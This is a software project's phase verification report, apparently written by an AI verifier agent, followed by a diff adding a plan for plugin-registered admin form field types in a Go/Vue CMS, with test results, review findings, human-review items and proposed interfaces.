| 31 | FormatHTML tests: imported HTML round-trips; no unsafe case survives | ✓ VERIFIED (superseded mechanism) | "Every unsafe case returns an error" became "every unsafe case is stripped" per the bluemonday decision. TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestCheckHTML and TestFormatTranslation pass. |
| 32 | Postgres tests exist and pass on a Docker host | ✓ VERIFIED | Re-run here: TestListRelationSearchPostgres, TestListQueryContract, TestPostsAdminResaveKeepsHTML, TestJournalAPITranslatedContentHTML and TestJournalImportTranslatedContentHTML all PASS |
| 33 | vet, vitest, TestDocsTree and dist green | ✓ VERIFIED | See #18 |
**Score:** 32/33 truths verified (0 present-but-behavior-unverified; 1 uncertain, routed to a human)
### CONTEXT decisions accounted for
| Decision | Status | Where |
|----------|--------|-------|
| D-01 list state in the URL and localStorage, no server storage | ✓ | #2, #15, #16, #26-28; no migration, route or OpenAPI diff in 3ca6a0d..cd25af0 |
| D-02 framework-level relation-search fix in cabana | ✓ | #1, #9-12, #17 |
| D-03 content and excerpt shown without loss; re-save keeps HTML | ✓ code / ? UAT visual | #3, #4, #13, #14, #23; UAT visual is a human item |
| D-04 tag, host bump, redeploy, smoke | ✓ (except the nginx vhost install) | #5-8, #19-21 |
| D-05 three plans | ✓ | 01, 02 and 03 are all summarized |
### Post-review remediation (16.1-REVIEW.md)
| Finding | Status | Evidence |
|---------|--------|----------|
| CR-01 stored XSS | Fixed and deployed | sm-journal-plugin a3551f2 (bluemonday); the public layer uses sanitize-html (vue-journal-layer 5beb1c5, tag v0.1.1, pinned by vue app 27b3827) |
| WR-01 "Data:" false refusal | Fixed | The regex gate is gone; TestFormatHTMLKeepsSchemeLikeText passes |
| WR-02 restored query locks the list | Fixed | cd25af0: `loadList(restored)` forgets the query and loads the plain list once; there is a reset button |
| WR-03 list state crosses admins | Fixed | cd25af0: per-admin keys; `clearUser` and `expireSession` clear them |
| Audit W-1 / W-2 | Fixed | 0d00ec8 (FormatTranslation), 5f47083 (duplicate attributes); harness tests pass |
| WR-04 relation SQL only DryRun-tested | Resolved in substance | TestListRelationSearchPostgres runs the EXISTS and string_agg SQL on real Postgres and passes |
| WR-05 to-many sort order differs from display order | Open (warning) | `relatedSelectMany` still joins in Preload order (query.go:142, no ORDER BY). `docs/backend/lists-and-filters.md:62` still says the sort uses "the text the list shows". |
| IN-01..03 | Open (info) | Not addressed |
| Translate Secure cookie, app header hardening | Verified on UAT | `set-cookie: golem15.translate.locale=...; HttpOnly; Secure`; Nuxt at :3016 sends no X-Powered-By and no set-cookie |
### Required Artifacts
| Artifact | Expected | Status | Details |
|----------|----------|--------|---------|
| `modules/cabana/query.go` | EXISTS search and to-many sort from the parsed relationship | ✓ VERIFIED | Contains `Relationships.Relations`, `string_agg`, `EXISTS (SELECT 1 FROM`; called from ExecuteList (lines 121, 133) |
| `modules/cabana/query_relation_test.go` | DryRun harness, smoke, matrix, Postgres test | ✓ VERIFIED | Its tests pass |
| `modules/cabana/locale_order_test.go` | default-first tests | ✓ VERIFIED | Passes |
| `../sm-journal-plugin/classes/format_html.go` | goldmark WithUnsafe behind a safety gate | ✓ VERIFIED | `WithUnsafe` plus the bluemonday `htmlPolicy` (supersedes the regex gate) |
| `admin/src/state/listState.ts` | per-list browser storage | ✓ VERIFIED | Contains `summer-admin.list:`; imported by ListView.vue and useAuth.ts |
| `../sm-grzybyfunkcjonalne-app/DEPLOY.md` | release and rollback procedure without the re-save warning | ✓ VERIFIED | Has `## Release`; the warning is removed |
| `../sm-journal-plugin/go.mod` | require of the release tag | ✓ VERIFIED | `summercms v0.1.17`, with the replace to `../summercms.go` kept |
| `admin/tests/state/listState.test.ts` | helper tests | ✓ VERIFIED | Passes |
| `../sm-journal-plugin/posts_admin_smoke_test.go` | TestPostsAdminResaveKeepsHTML | ✓ VERIFIED | PASS on the Docker host |
| `modules/boardwalk/dist/` | rebuilt SPA | ✓ VERIFIED | check-admin-dist.sh: matches a fresh build |
### Key Link Verification
| From | To | Via | Status |
|------|----|-----|--------|
| query.go applyListSearch/applyListOrder | GORM schema.Relationship | `stmt.Parse` + `Relationships.Relations[field]` | ✓ WIRED |
| http.go enabledContentLocales | TranslationWriter.DefaultLocale | default moved to index 0 | ✓ WIRED |
| ListView.vue watch | listState.ts read/writeListState | restore before the first request | ✓ WIRED |
| sm-journal-plugin controllers/posts.go | classes.FormatHTML | content to content_html on admin save (line 213) | ✓ WIRED |
| useAuth.ts clearUser / main.ts onUnauthorized | setListStateOwner(null) | logout and session expiry clear list keys | ✓ WIRED |
| host plugins/golem15/journal gitlink | sm-journal-plugin origin/main | c60abc6 | ✓ WIRED |
| host go.mod | ../summercms.go at the release tag | replace + require v0.1.17 | ✓ WIRED |
| FormView.test.ts | ListView entry restore | `writeListState` then back navigation | ✓ WIRED |
### Data-Flow Trace (Level 4)
| Artifact | Data | Source | Real data | Status |
|----------|------|--------|-----------|--------|
| Posts list (search) | rows/meta | ExecuteList → GORM with EXISTS on the real pivot | Yes (Postgres test; UAT log clean) | ✓ FLOWING |
| Post form ML fields | content/excerpt (pl) | hydrateMLRecord host columns under DefaultLocale; enabledLocales[0] = pl | Yes (UAT locales: pl default, en sort 1) | ✓ FLOWING (visual check is a human item) |
| Public post 64 | content_html footer | UAT DB → Journal API → sanitize-html → v-html | Yes (footer rendered on the SSR page) | ✓ FLOWING |
### Behavioral Spot-Checks
| Behavior | Command | Result | Status |
|----------|---------|--------|--------|
| Relation SQL and locale order (pure) | `go test -run '^(TestListRelationSearchSmoke\|TestListRelationSQL\|TestEnabledLocalesDefaultFirst\|TestEnabledLocalesDefaultFirstSmoke)$' ./modules/cabana` | 4 PASS lines | ✓ PASS |
| Journal classes | `go -C ../sm-journal-plugin test -v ./classes/` | 9 PASS, ok | ✓ PASS |
| Relation search on real Postgres | Docker sudo path, `-run TestListRelationSearchPostgres\|TestListQueryContract` | PASS, PASS | ✓ PASS |
| Admin re-save and translations keep or sanitize HTML | Docker sudo path, sm-journal-plugin named tests | 3 PASS | ✓ PASS |
| List state vitest | `npm --prefix admin test` | 76 files, 1171 tests passed | ✓ PASS |
| Dist drift | `bash scripts/check-admin-dist.sh` | matches a fresh build | ✓ PASS |
| Docs | `go test ./cmd/summer -run TestDocsTree` | ok | ✓ PASS |
| Browser storage confined | grep in admin/src outside useSidebar.ts and listState.ts | empty | ✓ PASS |
### Probe Execution
| Probe | Command | Result | Status |
|-------|---------|--------|--------|
| UAT on-server smoke | `CURL_HOME=$C scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` (via ssh, loopback resolve) | `smoke: ok (98 urls)` | PASS |
| UAT data repair | read-only psql: placeholder count : post-64 footer | `0:1` | PASS |
| UAT log | 42703 count since 2026/10/09 22:47:29 | 0 (32 lines) | PASS |
| UAT binary | sha256sum bin/grzybyfunkcjonalne | e5b0ad28…3af232 | PASS |
| Hardened vhost installed | grep CSP-Report-Only in /etc/nginx/sites-enabled/uat.grzybyfunkcjonalne.pl | 0 (uploaded copy: 1) | NOT INSTALLED (human item, needs root) |
### Requirements Coverage
The phase has no REQUIREMENTS.md IDs (Requirements: TBD), and REQUIREMENTS.md maps nothing to Phase 16.1, so no requirement is orphaned. The plans' `requirements:` fields name CONTEXT decisions D-01..D-04, which are covered above.
### Prohibitions (judgment tier, verdicts not authoritative; flagged as unverified-prohibition, human review recommended)
| # | Prohibition | LLM-judge verdict | Basis |
|---|-------------|-------------------|-------|
| 1 | Relation fix not Journal-specific; no consuming-application names in framework code or docs | not violated | The builder is generic over GORM relationships; grep for app names in the touched framework files is empty; TestDocsTree ok |
| 2 | No server-side list state (table, migration, route) | not violated | No migration, route or API diff in summercms.go 3ca6a0d..cd25af0 |
| 3 | Journal API content/content_html shapes unchanged | not violated | Only stored values change (sanitized); README says shapes and codes are unchanged |
| 4 | cabana.RenderMarkdown stays safe-mode | not violated | `modules/cabana/field_markdown.go` has no WithUnsafe |
| 5 | No write SQL on UAT; only human re-saves of 53/64 | not violated (from records) | Records show read-only psql only; cannot be proven after the fact |
| 6 | Live Winter site, vhost, php-fpm and PHP DB untouched | not violated (from records) | The vhost was not installed; there is no evidence of live-site edits |
| 7 | No credentials requested, printed or committed | not violated (from records) | SUMMARYs hold no secrets |
| 8 | Tests touch no UAT, network or shared DB | not violated | DryRun on DSN port 1; testcontainers for Postgres |
| 9 | Tests not weakened | not violated | Refuse cases became strip cases under the accepted bluemonday decision, and the payload set grew to 35 |
### Anti-Patterns Found
| File | Line | Pattern | Severity | Impact |
|------|------|---------|----------|--------|
| (phase files) | - | TBD/FIXME/XXX/TODO/HACK | none found | - |
| `docs/backend/lists-and-filters.md` | 62 | Docs claim a to-many sort uses "the text the list shows" but the display order is Preload order (WR-05) | ⚠️ Warning | A list sorted by categories can look out of order; docs inaccurate |
| `../sm-grzybyfunkcjonalne-app/sm-grzybyfunkcjonalne-app` | - | 46 MB untracked, not-ignored binary in the host repo root (built 2026-10-10 00:50 local) | ℹ️ Info | Could be committed by accident; not part of any commit |
| `.planning/phases/16.2-.../16.2-05-PLAN.md` (via ROADMAP line 1014) | - | Plans to cut "summercms tag v0.1.17", which 16.1 already used | ℹ️ Info | 16.2's release must pick the next free tag (v0.1.18) |
| UAT Journal API | - | With no locale given (and with Accept-Language pl-PL), the API sets `golem15.translate.locale=en` although the default is pl and en has sort_order 1 | ℹ️ Info | Outside 16.1 scope; may be pre-existing translate behavior; worth a look |
| `16.1-VALIDATION.md`, `16.1-SECURITY.md` | - | Still say "Docker-host suites pending" / sign-off unchecked | ℹ️ Info | Stale bookkeeping: the Docker-host suites have now passed |
### Human Verification Required
#### 1. Install the hardened staging vhost (root)
**Test:** Install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (host fc10094, 387d0f4) as the uat vhost, then run `nginx -t` and reload.
**Expected:** The security headers and CSP Report-Only appear on UAT responses, the `/gfadmin` auth_basic exemption still holds, and the smoke still passes.
**Why human:** It needs root on the server. Today the enabled vhost does not have CSP-RO.
#### 2. UAT posts list search
**Test:** Search "cordyceps" in `/gfadmin/golem15/journal/posts`.
**Expected:** Rows appear and no SQLSTATE 42703 shows up in the log.
**Why human:** It needs basic auth and an admin login. The Go log does not record successful queries.
#### 3. UAT list state round trip (D-01)
**Test:** Set a sort and a category filter. Go open post → back, then save-and-close, then rail navigation. Paste the URL in a new tab. Log out and back in.
**Expected:** State is kept and visible in the URL. After logout and login the list opens unfiltered.
**Why human:** It is an interactive flow. The earlier human report predates the v0.1.17 deploy.
#### 4. UAT post form locales and fields (D-03)
**Test:** Open an imported post.
**Expected:** `pl` is first, and title, slug, content and excerpt are filled.
**Why human:** It is a visual check on real data.
#### 5. Judgment-tier prohibitions
**Test:** Review the nine verdicts above.
**Expected:** Accept or overturn each one.
**Why human:** The verifier's verdicts are not authoritative.
### Gaps Summary
There are no blocking gaps. Every roadmap criterion and plan must-have I could check automatically holds in the code, the tests (including the Docker-backed Postgres suites, which I re-ran), the tags and pushes, and the deployed UAT server (binary hash, smoke, log, SQL, public headers, post-64 footer). Two plan wordings were superseded by stricter post-review fixes, and both are recorded in an accepted decision note or a commit:
- FormatHTML now strips unsafe markup with bluemonday instead of refusing it with a regex.
- List-state keys are now scoped per admin.
Still open:
- **Human items:** the root-only nginx vhost install, and the three UAT browser checks.
- **WR-05:** a non-blocking warning. The docs sentence on to-many sort order is inaccurate.
---
_Verified: 2026-10-09T23:05:00Z_
_Verifier: Claude (msd-verifier)_

View File

@@ -0,0 +1,548 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 01
type: execute
wave: 1
depends_on: []
files_modified:
- modules/pact/capabilities.go
- modules/pact/README.md
- modules/cabana/field_type.go
- modules/cabana/field_type_upload.go
- modules/cabana/field_type_smoke_test.go
- modules/cabana/form_schema.go
- modules/cabana/schema_types.go
- modules/cabana/registry.go
- modules/cabana/http.go
- modules/cabana/crud.go
- modules/cabana/field_ml.go
- modules/cabana/tx_context.go
- modules/cabana/list_schema.go
- modules/cabana/settings.go
- modules/cabana/relation_form.go
- modules/cabana/extension.go
- modules/cabana/relation_field.go
- modules/cabana/admin_openapi.go
- modules/cabana/security_coverage_test.go
- modules/cabana/README.md
- admin/openapi/admin.json
- admin/src/api/schema.d.ts
- admin/src/api/types.ts
- admin/src/app/fieldTypes.ts
- admin/src/app/pluginAssets.ts
- admin/src/main.ts
- admin/src/views/LoginView.vue
- admin/src/views/FormView.vue
- admin/src/views/ListView.vue
- admin/src/components/form/registry.ts
- admin/src/components/form/FieldRenderer.vue
- admin/src/components/form/PreviewField.vue
- admin/src/components/form/FormField.vue
- admin/src/components/form/FormGrid.vue
- admin/src/components/form/formState.ts
- admin/src/components/form/mlLocale.ts
- admin/src/components/form/formContext.ts
- admin/src/components/form/fields/PluginField.vue
- admin/src/components/form/fields/MLPluginField.vue
- admin/src/components/relation/RelationChildModal.vue
- admin/tests/form/PluginField.test.ts
- admin/tests/form/FormField.test.ts
- admin/tests/form/formState.test.ts
- modules/boardwalk/dist
- docs/backend/field-types.md
- docs/backend/forms.md
autonomous: false
requirements: [D-03, D-06, D-10, D-11, D-12, D-13, D-14, D-15, D-18]
estimate:
tokens: 140000
raw_tokens: 140000
tasks: 4
confidence: low
must_haves:
truths:
- "D-11: a plugin registers a value-bearing admin field type under a short alias (pact.HasFormFieldTypes); boot fails with a message naming both owners when two plugins claim one alias, and fails when an alias equals a cabana core type (text, markdown, mlmarkdown, widget, partial and the rest of formFieldTypes)."
- "D-12.1: a plugin-typed field accepts the general field keys plus the type's own Options keys; any other key, and any CheckOptions error, fails boot naming the field and the type."
- "D-12.2 and D-10: a save runs the type's Decode inside the save transaction after the record is loaded, for the host value and for every non-default locale value of a translatable type, and stores the returned pact.FormFieldDecoded Value; a pact.FormFieldError is a 422 validation_failed on that field and nothing is written; any other plugin error is an opaque 500 without the plugin's text."
- "D-10 (framework half, amended 2026-10-10): a Decode may return pact.FormFieldNotice values next to the value it stores (for example what a sanitizer removed); cabana localizes them in the request locale and answers the create or update with meta.notices [{field, locale, message}]; a save whose Decode calls returned no notice answers exactly today's JSON (no notices key); the admin SPA shows each notice under its field and in the saved toast, and reloads the stored value from the response into the form and the element."
- "D-12.3: Show and the save response serve each plugin field through the type's Load (per locale for a translatable type)."
- "D-12.4: a list column typed with a plugin alias shows the type's ListValue string."
- "D-03 (server half): on update, a submitted value equal to the value the form was served for that field and locale is not decoded and not written, neither to the host column nor as a translation."
- "D-14 and D-06: a translatable plugin type exchanges a locale to string map and is stored through cabana's existing ML lift, translation writer and hydrate path; a plugin implements no locale storage."
- "Companion writes: Form hooks read the values a save actually wrote, per field and locale, through cabana.FieldWritesFromContext."
- "D-13: after login the admin SPA loads every registered field type's scripts once and its stylesheets globally (never disabled on navigation); a field with an element renders through PluginField (MLPluginField when translatable) in any controller's form, binds the element's value property and takes summer-change events as the new form value."
- "D-18 (framework half): POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is owned by cabana (backend guard, X-Requested-With, controller permissions, field context, FormExtendQuery record scope, http.body_limits.upload_bytes) and answers 201 {data:{url}} from the type's Upload; the SPA performs the upload for the element on summer-upload and answers with summer-upload-result."
- "D-15: the form schema carries plugin fields generically (element, translatable, typeOptions); admin/openapi/admin.json and admin/src/api/schema.d.ts are regenerated, modules/boardwalk/dist is rebuilt, and the pact and cabana READMEs plus docs/backend/field-types.md describe the API with neutral names."
artifacts:
- path: "modules/pact/capabilities.go"
provides: "FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError, HasFormFieldTypes"
contains: "HasFormFieldTypes"
- path: "modules/cabana/relation_field.go"
provides: "RecordMeta.Notices and FieldNotice (the save response's meta.notices)"
contains: "notices,omitempty"
- path: "modules/cabana/field_type.go"
provides: "per-boot field type registry, compile checks, decode/skip/load/list runner"
contains: "compileFieldTypes"
- path: "modules/cabana/field_type_upload.go"
provides: "the cabana-owned field upload route"
contains: "fieldUpload"
- path: "modules/cabana/tx_context.go"
provides: "FieldWrite, FieldWritesFromContext, WithFieldWrites"
contains: "FieldWritesFromContext"
- path: "admin/src/components/form/fields/PluginField.vue"
provides: "generic plugin element host"
contains: "summer-change"
- path: "admin/src/app/fieldTypes.ts"
provides: "global field-type asset loader"
contains: "loadFieldTypes"
- path: "docs/backend/field-types.md"
provides: "plugin field type guide and element contract"
contains: "HasFormFieldTypes"
key_links:
- from: "modules/cabana/http.go Activate"
to: "modules/cabana/registry.go compileRegistry"
via: "the registry built by compileFieldTypes(plugins) passed as a parameter (no package-level registry)"
pattern: "compileFieldTypes"
- from: "modules/cabana/crud.go save"
to: "pact.FormFieldType Decode and Load"
via: "decodePluginFields between loadRecord and lagoon.Fill inside the save transaction"
pattern: "decodePluginFields"
- from: "modules/cabana/crud.go save"
to: "RecordResult.Meta.Notices (JSON meta.notices)"
via: "localizeNotices over the FormFieldDecoded notices, after the transaction commits"
pattern: "localizeNotices"
- from: "admin/src/views/FormView.vue save"
to: "FormField notice line and the saved toast"
via: "noticeLines(result.data.meta.notices) passed through FormGrid like errors"
pattern: "noticeLines"
- from: "admin/src/main.ts and admin/src/views/LoginView.vue"
to: "GET {api}/field-types"
via: "loadFieldTypes next to loadNavigation"
pattern: "loadFieldTypes"
- from: "admin/src/components/form/fields/PluginField.vue"
to: "POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload"
via: "summer-upload event handled by the SPA with the admin session"
pattern: "summer-upload"
prohibitions:
- statement: "No package-level mutable field type registry in cabana: the registry is built per Activate and passed down."
status: unresolved
verification: judgment
- statement: "The element never receives a token, a cookie, a function or a Vue instance; uploads go through the SPA and the cabana route only."
status: unresolved
verification: judgment
- statement: "Existing core field types, the type: widget contract and the public behaviour of CompileForm do not change."
status: unresolved
verification: judgment
- statement: "Framework READMEs and docs never name a consuming application or plugin; examples use blog or acme."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
This plan's slice (user decision 1, plan 01): the framework half in summercms.go. A plugin registers a value-bearing field type through `pact`; cabana compiles, decodes, loads, lists, uploads and stores it (ML included); the admin SPA hosts its element globally. Framework first: plans 02 and 03 build the Journal editor on this API.
## Revision 2026-10-10 (CONTEXT D-10 amended)
D-10 now strips instead of refusing, and an admin save must tell the admin what was removed. That report is a generic field-type capability, not Journal code in cabana: `Decode` returns `pact.FormFieldDecoded{Value, Notices}`, cabana localizes the notices and answers the save with `meta.notices`, and the SPA shows them and reloads the stored value. `pact.FormFieldError` (422) stays for values a type cannot accept at all, such as a non-string. The release tag named in Task 1 is now v0.1.18 or the next free v0.1.x, because 16.1 already tagged v0.1.17. Everything else in this plan is unchanged.
RESEARCH and PATTERNS were written before 16.1 replaced the Journal regex gate with bluemonday and before D-10 was amended. Where they say "CheckHTML refuses" or "no sanitizer", this plan's text wins.
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". No SPEC and no edge-probe predicates were generated this run. CONTEXT D-01 to D-19, the three folded todos and RESEARCH Patterns 1-9 are the source of truth. Prohibitions above were recalled in-prompt and are descriptor-less (flagged-unverified).
## Assumptions (explicit)
- A5 (RESEARCH): settings forms and relation child or pivot forms refuse plugin field types at boot ("supported in controller forms only"), the same restriction cabana already documents for virtual fields and FormRules. D-13 targets controller forms.
- Untouched detection (Claude's discretion, D-03): both layers. cabana skips a submitted value whose canonical JSON equals the served value; the element (plan 02) never re-serializes an untouched document.
- Field-type asset discovery (Claude's discretion, research Open Question 2): a dedicated `GET {api}/field-types` route, so the navigation contract stays unchanged.
- A translatable plugin type exchanges strings per locale (the TranslationWriter API is string-based and MLField sends only strings); a non-translatable type exchanges any JSON value.
## Plan sizing note
The locked plan count (6) puts the whole framework half in this plan. It has four tasks: one decision checkpoint (no implementation context) and three implementation tasks. The estimate exceeds the usual budget; it is advisory.
## Source coverage audit (phase-wide)
| Source | ID | Item | Plan | Status |
|---|---|---|---|---|
| GOAL | — | Plugins register field types; Journal Blog Editor edits imported HTML losslessly | 01-06 | COVERED |
| REQ | — | none mapped (ROADMAP "Requirements: TBD") | — | n/a |
| CONTEXT | D-01 | WYSIWYG + source toggle on TipTap | 02 | COVERED |
| CONTEXT | D-02 | HTML in content and content_html on admin save, both sanitized | 03 | COVERED |
| CONTEXT | D-03 | Byte-preserving unless edited | 01 (server skip), 02 (element), 03, 05 (UAT), 06 | COVERED |
| CONTEXT | D-04 | Text, images, tables, embeds, raw HTML block (raw block goes through the sanitizer) | 02, 03 | COVERED |
| CONTEXT | D-05 | Embed placeholder; both policies extended only for the editor's own output, pinned by a corpus test; iframes still refused | 02 (corpus), 03 (Go policy), 04 (layer mirror), 06 | COVERED |
| CONTEXT | D-06 | Translatable like mlmarkdown | 01, 03 | COVERED |
| CONTEXT | D-07 | Markdown post opens with content_html | 03 | COVERED |
| CONTEXT | D-08 | mlblogeditor replaces mlmarkdown for post content | 03 | COVERED |
| CONTEXT | D-09 | Public write API unchanged | 03 | COVERED |
| CONTEXT | D-10 | Strip, never refuse, on every locale for posts and categories; the save names what was removed; no goldmark on the admin path | 01 (notices), 03 (Journal strip), 05 (UAT), 06 | COVERED |
| CONTEXT | D-11 | Short global alias, collision fails boot | 01 | COVERED |
| CONTEXT | D-12 | pact interface: options, decode, load, list | 01 | COVERED |
| CONTEXT | D-13 | Element loads globally, value contract, --c-* only | 01, 02 | COVERED |
| CONTEXT | D-14 | Plugin registers ML variant through cabana lift/hydrate | 01, 03 | COVERED |
| CONTEXT | D-15 | Generic schema shape, OpenAPI, TS, dist, README, docs | 01 | COVERED |
| CONTEXT | D-16 | TipTap in a custom element, plugin JS build, committed dist | 02 | COVERED |
| CONTEXT | D-17 | Layer expands embeds, new tag pinned in the app | 04, 05 | COVERED |
| CONTEXT | D-18 | Image upload with alt and caption | 01 (route), 02 (UI), 03 (storage) | COVERED |
| CONTEXT | D-19 | Category content uses blogeditor and is stripped like posts (the 422 gate is retired) | 03, 06 | COVERED |
| TODO | — | cabana-plugin-registered-field-types | 01 | COVERED |
| TODO | — | cabana-richeditor-field-type | 03 | COVERED |
| TODO | — | journal-imported-html-admin-resave (and its test) | 03, 05, 06 | COVERED |
| RESEARCH | P1 | Registry threaded through compile, no package global | 01 | COVERED |
| RESEARCH | P2 | Decode/Load inside the tx, FieldError mapping, written-values accessor | 01 | COVERED |
| RESEARCH | P3 | Two-layer untouched detection | 01, 02 | COVERED |
| RESEARCH | P4 | Preservation-first schema and serializer | 02 | COVERED |
| RESEARCH | P5 | Element contract, global CSS owner (Pitfall 8) | 01, 02 | COVERED |
| RESEARCH | P6 | Journal integration, category not translatable | 03 | COVERED |
| RESEARCH | P7 | Embed expansion after the sanitizer (last step at the v-html sink) | 04 | COVERED |
| RESEARCH | P8 | Plugin JS build, no eval, injectCSS false, check-dist | 02 | COVERED |
| RESEARCH | P9 | Collision-free upload route, OpenAPI + phase09Routes | 01 | COVERED |
| RESEARCH | Pitfall 7 | Non-default content_html companion write | 01 (accessor), 03 | COVERED |
| RESEARCH | Pitfall 11 | No Docker: DryRun/unit smoke + human Docker-host gate | 05, 06 | COVERED |
| RESEARCH | Security | Magic-byte image check on the editor upload | 03 | COVERED |
| RESEARCH | OQ3 | Release scope (tags, bumps, UAT) | 04, 05 | COVERED |
| DRIFT | 16.1 | bluemonday policy (`SanitizeHTML`, `FormatTranslation`, the `CheckHTML` predicate (reports any change)), layer sanitize-html mirror, v0.1.17 and layer v0.1.1 already tagged, post 64 re-saved without its style block | 01-06 (revision 2026-10-10) | COVERED |
## Artifacts this phase produces (this plan)
- `pact.FormFieldType`, `pact.FormFieldValue`, `pact.FormFieldDecoded`, `pact.FormFieldNotice`, `pact.FormFieldUpload`, `pact.FormFieldUploadResult`, `pact.FormFieldError` (with `Error() string`), `pact.HasFormFieldTypes`.
- `cabana.FieldWrite`, `cabana.FieldWritesFromContext`, `cabana.WithFieldWrites`, `cabana.CompileFormWithTypes`, `cabana.FieldTypeAssets`, `cabana.FieldTypesResponse`, `cabana.FieldUploadResponse`, `cabana.FieldNotice`, and the `RecordMeta.Notices` field (JSON `meta.notices`, omitted when empty).
- `cabana.FormField` JSON keys `element`, `translatable`, `typeOptions` (Go fields `Element`, `Translatable`, `TypeOptions`).
- Unexported: `fieldTypeRegistry`, `compileFieldTypes`, `readClientAssets`, `liftPluginValues`, `decodePluginFields`, `hydratePluginFields`, `servedFieldValue`, `isMLField`, `fieldUpload`, `fieldTypesList`, `withFieldWrites`, `localizeNotices`.
- Routes: `GET {api}/field-types`, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`.
- New files: `modules/cabana/field_type.go`, `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_smoke_test.go`, `admin/src/app/fieldTypes.ts`, `admin/src/components/form/fields/PluginField.vue`, `admin/src/components/form/fields/MLPluginField.vue`, `admin/tests/form/PluginField.test.ts`, `docs/backend/field-types.md`.
- SPA exports: `loadFieldTypes`, `loadGlobalStyles`, `GLOBAL_STYLE_OWNER`, `rendererForField`, `isRegisteredField`, `isMLField`, `noticeLines`, `FIELD_CHANGE_EVENT`, `FIELD_UPLOAD_EVENT`, `FIELD_UPLOAD_RESULT_EVENT`; FormField and FormGrid gain a `notices` prop.
- Smoke tests: `TestFieldTypeTracerSmoke`, `TestFieldTypeExpansionSmoke`.
<objective>
Add the plugin field type API to pact and cabana and host plugin field elements in the admin SPA (D-11 to D-15, D-03 server half, D-06/D-14 storage path, D-10 notices and refusal mapping, D-18 upload route).
Purpose: Journal (plans 02 and 03) and later plugins ship their own value-bearing field types without a framework release per type, and a type that changes a value on save (Journal strips unsafe HTML per D-10) can tell the admin what it changed.
Output: the pact types, the cabana registry, compile, save (with notices), show, list and upload paths, the two routes, regenerated OpenAPI and TS types, PluginField/MLPluginField, the global loader and the notice display, rebuilt dist, READMEs and docs.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
@.planning/todos/pending/cabana-plugin-registered-field-types.md
Concurrency (16.1 D-02): another session may edit `modules/`. Before each commit run `git status --porcelain -- modules admin docs scripts` and `git diff` on the files you touch; stage only files this task changed, by explicit path. Commits: no co-author tags; code and planning docs in separate commits.
No Docker here (RESEARCH Pitfall 11): `go test ./modules/cabana` without `-run` fails on the testcontainers suites. Use the named `-run` sets below; full Postgres-backed coverage is plan 06 on a Docker host.
<interfaces>
Proposed pact surface (Task 1 confirms it; names are Claude's discretion within D-12):
```go
// in modules/pact/capabilities.go (pact already imports context and gorm; add io)
type FormFieldType struct {
Name string // global alias used as `type:` in fields.yaml, ^[a-z][a-z0-9]*$
Element string // custom-element tag defined by Scripts, plugin prefix rule
Translatable bool // value is a locale -> string map stored through cabana's translation writer
Scripts []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
Styles []string // AdminFS paths under assets/ (.css), enabled on every admin page
Options []string // the type's own fields.yaml keys
CheckOptions func(options map[string]any) error `json:"-"` // optional
Decode func(ctx context.Context, in FormFieldValue) (FormFieldDecoded, error) `json:"-"` // required
Load func(ctx context.Context, in FormFieldValue) (any, error) `json:"-"` // optional
ListValue func(value any) string `json:"-"` // optional
Upload func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
}
type FormFieldValue struct {
DB *gorm.DB // the save transaction (Decode) or the read transaction (Load)
Record any // the loaded record on update, the new model on create
Field string
Options map[string]any // the field's typeOptions
Locale string // "" for a non-translatable type
Default bool // true when Locale is the host-column locale (or the type is not translatable)
Value any // submitted (Decode) or stored (Load); a string for a translatable type
Translated func(attribute string) (string, bool, error) // exact read of another attribute of Record in Locale; nil when not translatable or no writer
}
// FormFieldDecoded is Decode's answer: Value is stored (a string for a
// translatable type); Notices are non-blocking messages about it, such as what
// a sanitizer removed. No notices means the save answers exactly as before.
type FormFieldDecoded struct {
Value any
Notices []FormFieldNotice
}
// FormFieldNotice is one message for the admin. cabana localizes Message
// (phrase key or text) in the request locale with Params; Count > 0 selects
// the plural form (phrasebook Choice, :count set).
type FormFieldNotice struct {
Message string
Params map[string]string
Count int
}
type FormFieldUpload struct {
DB *gorm.DB
Record any // nil on the create form ({id} 0)
Field string
Options map[string]any
Filename string
Body io.Reader // already capped by http.body_limits.upload_bytes
}
type FormFieldUploadResult struct{ URL string }
type FormFieldError struct{ Messages []string } // phrase keys or text; Error() joins them
type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType } // implemented by the plugin
```
Proposed cabana surface:
```go
type FieldWrite struct {
Locale string // "" for a non-translatable type
Default bool // the value went to the host column
Value any
}
func FieldWritesFromContext(ctx context.Context) (map[string][]FieldWrite, bool) // copy; false outside create/update
func WithFieldWrites(ctx context.Context, writes map[string][]FieldWrite) context.Context // for Form hook tests
func CompileFormWithTypes(pluginID string, ctl pact.AdminController, fsys fs.FS, types []pact.FormFieldType) (*FormSchema, error)
// FormField gains: Element string `json:"element,omitempty"`, Translatable bool `json:"translatable,omitempty"`,
// TypeOptions map[string]any `json:"typeOptions,omitempty"`, fieldType *compiledFieldType `json:"-"`
type FieldNotice struct {
Field string `json:"field"`
Locale string `json:"locale,omitempty"` // set for a translatable type's value
Message string `json:"message"` // already localized
}
